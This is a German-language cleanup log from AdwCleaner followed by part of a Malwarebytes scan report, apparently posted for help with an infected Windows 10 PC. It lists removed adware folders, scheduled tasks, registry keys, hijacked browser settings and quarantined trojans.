[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\System Healer
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\Event Monitor
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\gplyra
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\HDWallPaper
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\AppTrailers
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\Interstatnogui
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\UCChannel
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\devnull
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppTrailers
[#] Ordner mit Neustart gelöscht: C:\Program Files\Common Files\Noobzo
[-] Ordner gelöscht: C:\ProgramData\SearchModule
[-] Ordner gelöscht: C:\ProgramData\devnull
[-] Ordner gelöscht: C:\ProgramData\VideoMemoryDiagnostic
[-] Ordner gelöscht: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus
[-] Ordner gelöscht: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer
[-] Ordner gelöscht: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HDWallPaper
[-] Ordner gelöscht: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Up Pro
[-] Ordner gelöscht: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YeaDesktop
[-] Ordner gelöscht: C:\Program Files (x86)\PC Clean Plus
[-] Ordner gelöscht: C:\Program Files (x86)\SystemHealer
[-] Ordner gelöscht: C:\Program Files (x86)\ProxyGate
[-] Ordner gelöscht: C:\Program Files (x86)\HDWallPaper
[-] Ordner gelöscht: C:\Program Files (x86)\Up Pro
[-] Ordner gelöscht: C:\Program Files (x86)\pccleanplus
[#] Ordner mit Neustart gelöscht: C:\Program Files (x86)\Maoha
[-] Ordner gelöscht: C:\Program Files (x86)\YeaDesktop
[-] Ordner gelöscht: C:\Program Files (x86)\devnull
[-] Ordner gelöscht: C:\windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics
[-] Ordner gelöscht: C:\Users\****\AppData\Local\Programs\GEN
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\Mozilla\Firefox\naweriweentcofise
[-] Ordner gelöscht: C:\windows\SysWOW64\SSL
[-] Ordner gelöscht: C:\AppData\Roaming\devnull
[-] Ordner gelöscht: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\extensions\amcontextmenu@loucypher


***** [ Dateien ] *****

[-] Datei gelöscht: C:\windows\SysNative\drivers\a94fc64eac9f78fb30d61a4428d5768d.sys
[-] Datei gelöscht: C:\windows\SysNative\GroupPolicy\Machine\Registry.pol
[-] Datei gelöscht: C:\windows\SysNative\GroupPolicy\GPT.ini
[-] Datei gelöscht: C:\windows\SysWOW64\GroupPolicy\GPT.ini
[#] Datei gelöscht: C:\windows\SysNative\NetUtils2016.dll
[#] Datei gelöscht: C:\windows\SysNative\drivers\NetUtils2016.sys
[-] Datei gelöscht: C:\windows\SysNative\drivers\LACE_WPF_X64.SYS
[#] Datei gelöscht: C:\windows\SysNative\drivers\Lace_wpf_x64.sys
[-] Datei gelöscht: C:\END
[-] Datei gelöscht: C:\ProgramData\smp2.exe
[-] Datei gelöscht: C:\ProgramData\service.exe
[#] Datei gelöscht: C:\ProgramData\smp2.exe
[-] Datei gelöscht: C:\Users\****\AppData\Local\Temp\Utils.dll
[-] Datei gelöscht: C:\Users\****\AppData\Local\Temp\YeapUserInfo.ini
[#] Datei gelöscht: C:\ProgramData\service.exe
[-] Datei gelöscht: C:\windows\rsrcs.dll
[-] Datei gelöscht: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\extensions\323D625D490FE8DD@ext.u.xpi
[-] Datei gelöscht: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\searchplugins\smod.xml


***** [ DLL ] *****



***** [ WMI ] *****



***** [ Verknüpfungen ] *****

[-] Verknüpfung desinfiziert: C:\Users\Public\Desktop\Mozilla Firefox.lnk
[-] Verknüpfung desinfiziert: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
[-] Verknüpfung desinfiziert: C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk
[-] Verknüpfung desinfiziert: C:\Users\****\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Mozilla Firefox.lnk


***** [ Aufgabenplanung ] *****

[-] Aufgabe gelöscht: RPUK1pwTVu
[-] Aufgabe gelöscht: RunAtStartup
[-] Aufgabe gelöscht: {0F7A0847-7F0A-0E0F-0A11-0E797E7F1178}
[-] Aufgabe gelöscht: RunAtStartup
[-] Aufgabe gelöscht: SystemHealer Monitor
[-] Aufgabe gelöscht: SystemHealer Run Delay
[-] Aufgabe gelöscht: System HealerStartUp
[-] Aufgabe gelöscht: System HealerPeriod
[-] Aufgabe gelöscht: System Healer Task
[-] Aufgabe gelöscht: PC Clean Plus_UPDATES
[-] Aufgabe gelöscht: PC Clean Plus_DEFAULT
[-] Aufgabe gelöscht: PC Clean Plus
[-] Aufgabe gelöscht: GEN
[-] Aufgabe gelöscht: GEN_Interval
[-] Aufgabe gelöscht: SMW_P
[-] Aufgabe gelöscht: HDWallPaper
[-] Aufgabe gelöscht: pc clean plus
[-] Aufgabe gelöscht: NetAdapterServiceTask
[-] Aufgabe gelöscht: NetAdapterUpdate
[-] Aufgabe gelöscht: Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic
[-] Aufgabe gelöscht: NosTask


***** [ Registrierungsdatenbank ] *****

[#] Schlüssel mit Neustart gelöscht: HKLM\SYSTEM\CurrentControlSet\services\smupd
[#] Schlüssel mit Neustart gelöscht: HKLM\SYSTEM\CurrentControlSet\services\smupdd
[-] Wert gelöscht: HKLM\SOFTWARE\Mozilla\Firefox\Extensions [{784882EA-E8D9-41FD-BBE5-00C1B61545CC}]
[-] Schlüssel gelöscht: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\NetAdapterService
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\NetAdapterService
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\DPBHO.DownloadProtect
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\DPBHO.DownloadProtect.1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.DragDropMenu
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.DragDropMenu.1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.JZContextMenuExt
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.JZContextMenuExt.1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.JZDropHandler
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.JZDropHandler.1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.JzShlobj
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.JzShlobj.1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.PropertyExt
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\JZipShell.PropertyExt.1
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\DPBHO.DownloadProtect
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\DPBHO.DownloadProtect.1
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.DragDropMenu
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.DragDropMenu.1
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.JZContextMenuExt
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.JZContextMenuExt.1
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.JZDropHandler
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.JZDropHandler.1
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.JzShlobj
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.JzShlobj.1
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.PropertyExt
[#] Schlüssel mit Neustart gelöscht: [x64] HKLM\SOFTWARE\Classes\JZipShell.PropertyExt.1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\AppID\{1C6F51F8-BCE6-4702-8952-6A8233359FBC}
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\CLSID\{C654F3FE-8E84-4BB7-87CF-8D9171FC3C73}
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\Interface\{F2DB3739-77FB-41EB-9ED3-ABF34DF2DBF7}
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\TypeLib\{E7BF74EE-9106-4113-B216-2F980BA29141}
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{C654F3FE-8E84-4BB7-87CF-8D9171FC3C73}
[-] Wert gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID [{C654F3FE-8E84-4BB7-87CF-8D9171FC3C73}]
[-] Schlüssel gelöscht: HKU\.DEFAULT\Software\jhdbca
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Installer
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\PC Clean Plus
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\System Healer
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\WajIEnhance
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\PC
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Event Monitor
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Interstatnogui
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\PopWnd
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\SwytShop
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\YeaDesktop
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\JiSuZip
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\AppDataLow\Software\AppTrailers
[#] Schlüssel mit Neustart gelöscht: HKU\S-1-5-18\Software\jhdbca
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\Installer
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\PC Clean Plus
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\System Healer
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\WajIEnhance
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\PC
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\Event Monitor
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\Interstatnogui
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\PopWnd
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\SwytShop
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\YeaDesktop
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\JiSuZip
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\AppDataLow\Software\AppTrailers
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Jawego
[-] Schlüssel gelöscht: HKLM\SOFTWARE\PC Clean Plus
[-] Schlüssel gelöscht: HKLM\SOFTWARE\SearchModule
[-] Schlüssel gelöscht: HKLM\SOFTWARE\PC
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Event Monitor
[-] Schlüssel gelöscht: HKLM\SOFTWARE\OtherSearch
[-] Schlüssel gelöscht: HKLM\SOFTWARE\jhdbca
[-] Schlüssel gelöscht: HKLM\SOFTWARE\SHMADDON
[-] Schlüssel gelöscht: HKLM\SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
[-] Schlüssel gelöscht: HKLM\SOFTWARE\initialpage123Software
[-] Schlüssel gelöscht: HKLM\SOFTWARE\devnull
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Soci2Sear Browser Enhancer
[-] Schlüssel gelöscht: HKLM\SOFTWARE\initialsite123Software
[-] Schlüssel gelöscht: HKLM\SOFTWARE\JszipService
[-] Schlüssel gelöscht: HKLM\SOFTWARE\JiSuZip
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC Clean Plus_is1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Search module
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SystemHealer
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OtherSearch
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1EC095EE-8CA3-43D6-B9F5-0C55B82ED3D7}}_is1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\HDWallPaper_is1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AppTrailers
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{40369812-21FB-4BE0-8508-387636F329D1}_is1
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YeaDesktop
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{78CA4ACE-D7CF-418B-B212-8E51822B566E}
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\Installer
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\PC Clean Plus
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\System Healer
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\WajIEnhance
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\PC
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\Event Monitor
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\Interstatnogui
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\PopWnd
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\SwytShop
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\YeaDesktop
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\JiSuZip
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\AppDataLow\Software\AppTrailers
[-] Schlüssel gelöscht: [x64] HKLM\SOFTWARE\SearchModule
[-] Schlüssel gelöscht: [x64] HKLM\SOFTWARE\jhdbca
[-] Schlüssel gelöscht: [x64] HKLM\SOFTWARE\HDWallpaper
[-] Schlüssel gelöscht: [x64] HKLM\SOFTWARE\Soci2Sear Browser Enhancer
[-] Schlüssel gelöscht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\pccleanplus
[-] Daten  wiederhergestellt: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main [Start Page]
[-] Daten  wiederhergestellt: HKCU\Software\Microsoft\Internet Explorer\Main [Start Page]
[-] Daten  wiederhergestellt: [x64] HKCU\Software\Microsoft\Internet Explorer\Main [Start Page]
[-] Schlüssel gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\SearchScopes\{7934824F-E11E-4D7A-9973-65F85EFEB5B6}
[#] Schlüssel mit Neustart gelöscht: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{7934824F-E11E-4D7A-9973-65F85EFEB5B6}
[#] Schlüssel mit Neustart gelöscht: [x64] HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{7934824F-E11E-4D7A-9973-65F85EFEB5B6}
[-] Daten  wiederhergestellt: HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf} [NameServer]
[-] Daten  wiederhergestellt: HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18} [NameServer]
[-] Daten  wiederhergestellt: HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1} [NameServer]
[-] Daten  wiederhergestellt: HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371} [NameServer]
[-] Daten  wiederhergestellt: [x64] HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf} [NameServer]
[-] Daten  wiederhergestellt: [x64] HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18} [NameServer]
[-] Daten  wiederhergestellt: [x64] HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1} [NameServer]
[-] Daten  wiederhergestellt: [x64] HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371} [NameServer]
[-] Wert gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[#] Wert mit Neustart gelöscht: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[#] Wert mit Neustart gelöscht: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[-] Wert gelöscht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [gplyra]
[-] Wert gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [AppTrailers]
[-] Wert gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\Run [Interstatnogui]
[#] Wert mit Neustart gelöscht: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [Interstatnogui]
[#] Wert mit Neustart gelöscht: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [Interstatnogui]
[-] Wert gelöscht: HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[#] Wert mit Neustart gelöscht: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[#] Wert mit Neustart gelöscht: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\AppID\DPBHO.DLL
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\smu.exe
[-] Schlüssel gelöscht: HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\26D9E607FFF0C58C7844B47FF8B6E079E5A2220E
[-] Schlüssel gelöscht: HKLM\SYSTEM\CurrentControlSet\Control\Class\{0C95ABFE-4FB6-49DB-B22F-0E1F5FC4BEEC}
[-] Schlüssel gelöscht: HKLM\SYSTEM\CurrentControlSet\Control\Class\{EEEFACB3-729F-4484-B66D-E7A7917BBFC1}
[-] Schlüssel gelöscht: HKLM\SOFTWARE\Classes\AppID\jZipShell.DLL
[#] Schlüssel mit Neustart gelöscht: HKLM\SOFTWARE\CLASSES\APPID\DPBHO.DLL
[-] Schlüssel gelöscht: HKLM\SOFTWARE\CLASSES\APPID\56BF5154-0B48-4ADB-902A-6C8B12E270D9
[-] Schlüssel gelöscht: HKLM\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\e24b7131-d039-43cb-9e6f-ad4be601ec1f
[-] Schlüssel gelöscht: HKLM\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\04262113-2a31-48e1-b4bb-3b42174bea0f
[#] Schlüssel mit Neustart gelöscht: HKLM\SYSTEM\ControlSet001\Control\Power\User\PowerSchemes\e24b7131-d039-43cb-9e6f-ad4be601ec1f
[#] Schlüssel mit Neustart gelöscht: HKLM\SYSTEM\ControlSet001\Control\Power\User\PowerSchemes\04262113-2a31-48e1-b4bb-3b42174bea0f
[-] Wert gelöscht: HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER [ENABLESHELLEXECUTEHOOKS]
[-] Wert gelöscht: HKLM\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION [YeaDesktop.exe]
[-] Wert gelöscht: HKLM\SOFTWARE\Mozilla\Firefox\Extensions [support@geticommerce.com]
[#] Wert mit Neustart gelöscht: HKLM\SOFTWARE\Mozilla\Firefox\Extensions [support@geticommerce.com]
[#] Wert mit Neustart gelöscht: HKLM\SOFTWARE\Mozilla\Firefox\Extensions [support@geticommerce.com]


***** [ Browser ] *****

[-] Firefox Einstellungen bereinigt: "browser.newtab.url" -  "hxxp://www-searching.com/?site=shyosffdefault&prd=set_ff&s=H62zbcnbl1AU,e3bcafb6-2bac-4804-af21-ff737cd86f90,"
[-] Firefox Einstellungen bereinigt: "browser.search.defaultenginename" -  "initialsite123"
[-] Firefox Einstellungen bereinigt: "browser.search.searchengine.hp" -  "hxxp://www.initialsite123.com/?z=c24a5fa8408741e77216b68g2zct2qaz9gbw3baw2c&from=icb&uid=SamsungXSSDX850XEVOXMX2X250GB_S33CNX0J318678L&type=hp"
[-] Firefox Einstellungen bereinigt: "browser.search.searchengine.sp" -  "hxxp://www.initialsite123.com/search/?from=icb&q={searchTerms}&type=sp&uid=SamsungXSSDX850XEVOXMX2X250GB_S33CNX0J318678L&z=c24a5fa8408741e77216b68g2zct2qaz9gbw3baw2c"
[-] Firefox Einstellungen bereinigt: "browser.search.searchengine.url" -  "hxxp://www.initialsite123.com/search/?from=icb&q={searchTerms}&type=sp&uid=SamsungXSSDX850XEVOXMX2X250GB_S33CNX0J318678L&z=c24a5fa8408741e77216b68g2zct2qaz9gbw3baw2c"
[-] Firefox Einstellungen bereinigt: "browser.search.selectedEngine" -  "initialsite123"
[-] Firefox Einstellungen bereinigt: "browser.startup.homepage" -  "hxxp://www-searching.com/?site=shyosffdefault&prd=set_ff&s=H62zbcnbl1AU,e3bcafb6-2bac-4804-af21-ff737cd86f90,"
[-] Firefox Einstellungen bereinigt: "keyword.URL" -  "hxxp://www-searching.com/search.aspx?site=shdefault1&prd=smw&pid=s&shr=d&q={searchTerms}&s=H62zbcnbl1AU,e3bcafb6-2bac-4804-af21-ff737cd86f90,"


*************************

:: "Tracing" Schlüssel gelöscht
:: Winsock Einstellungen zurückgesetzt
:: "Prefetch" Dateien gelöscht
:: Proxy Einstellungen zurückgesetzt
:: Firewall Einstellungen zurückgesetzt
:: Internet Explorer Richtlinien gelöscht

*************************

C:\AdwCleaner\AdwCleaner[C0].txt - [22025 Bytes] - [03/06/2017 00:08:13]
C:\AdwCleaner\AdwCleaner[S0].txt - [21228 Bytes] - [03/06/2017 00:07:25]

########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [22173 Bytes] ##########
mbam - Teil1:
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 03.06.17
Scan-Zeit: 00:21
Protokolldatei: mbam.txt
Administrator: Ja

-Softwaredaten-
Version: 3.1.2.1733
Komponentenversion: 1.0.139
Version des Aktualisierungspakets: 1.0.2075
Lizenz: Testversion

-Systemdaten-
Betriebssystem: Windows 10
CPU: x64
Dateisystem: NTFS
Benutzer: WHOPPER\****

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Ergebnis: Abgeschlossen
Gescannte Objekte: 354967
Erkannte Bedrohungen: 1988
In die Quarantäne verschobene Bedrohungen: 1988
Abgelaufene Zeit: 1 Min., 59 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Deaktiviert
Heuristik: Aktiviert
PUP: Aktiviert
PUM: Aktiviert

-Scan-Details-
Prozess: 2
Trojan.Agent.Generic, C:\PROGRAM FILES\INTERNET EXPLORER\056X34297Y\F3UU0IZGB9.EXE, In Quarantäne, [463], [369948],1.0.2075
Trojan.Agent.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\34-A27FE-E7B-AE1A4-4608880FDBB52\ZPZVYIZHUS.EXE, In Quarantäne, [463], [369948],1.0.2075

Modul: 6
PUP.Optional.HDWallPaper, C:\WINDOWS\SYSTEM32\NETUTILS2016.DLL, In Quarantäne, [132], [392467],1.0.2075
Adware.Elex, C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER\LOCAL64SPL.DLL, In Quarantäne, [2], [389178],1.0.2075
Adware.Elex, C:\PROGRAM FILES (X86)\MAOHA\JISUZIP\JZIPEXT.DLL, In Quarantäne, [2], [356754],1.0.2075
Trojan.Agent.Generic, C:\PROGRAM FILES\INTERNET EXPLORER\056X34297Y\F3UU0IZGB9.EXE, In Quarantäne, [463], [369948],1.0.2075
Trojan.Agent.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\34-A27FE-E7B-AE1A4-4608880FDBB52\ZPZVYIZHUS.EXE, In Quarantäne, [463], [369948],1.0.2075
Trojan.Agent.WSB, C:\WINDOWS\SYSWOW64\KBDTIPSD.DLL, In Quarantäne, [9645], [127813],1.0.2075

Registrierungsschlüssel: 37
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{0EC85481-BDF8-46F0-B3CD-242CEC5AECE9}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\TYPELIB\{E64D8009-B587-4450-87FA-87C035BC66F1}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\INTERFACE\{CFCF57BA-365E-4EF7-A6E2-2883F23CB557}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{CFCF57BA-365E-4EF7-A6E2-2883F23CB557}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\WOW6432NODE\CLASSES\INTERFACE\{CFCF57BA-365E-4EF7-A6E2-2883F23CB557}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\WOW6432NODE\CLASSES\TYPELIB\{E64D8009-B587-4450-87FA-87C035BC66F1}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\WOW6432NODE\TYPELIB\{E64D8009-B587-4450-87FA-87C035BC66F1}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{0EC85481-BDF8-46F0-B3CD-242CEC5AECE9}\InprocServer32, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{5C551008-A347-4DB3-AF48-014076FD2B46}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{5C551008-A347-4DB3-AF48-014076FD2B46}\InprocServer32, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{9A0700D2-920A-4E52-8697-9B5230C92612}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{9A0700D2-920A-4E52-8697-9B5230C92612}\InprocServer32, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{B1A5B927-E0F9-47FC-ADD0-F012B8CEECCB}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{B1A5B927-E0F9-47FC-ADD0-F012B8CEECCB}\InprocServer32, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{C83C8499-99FF-4276-8CFD-6467362F6A1E}, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, HKLM\SOFTWARE\CLASSES\CLSID\{C83C8499-99FF-4276-8CFD-6467362F6A1E}\InprocServer32, Löschen bei Neustart, [2], [356754],1.0.2075
PUP.Optional.PCHandller, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\pchandller, Löschen bei Neustart, [9326], [403626],1.0.2075
PUP.Optional.SwytShop, HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\SwytShop_Pkg3_is1, Löschen bei Neustart, [3131], [386986],1.0.2075
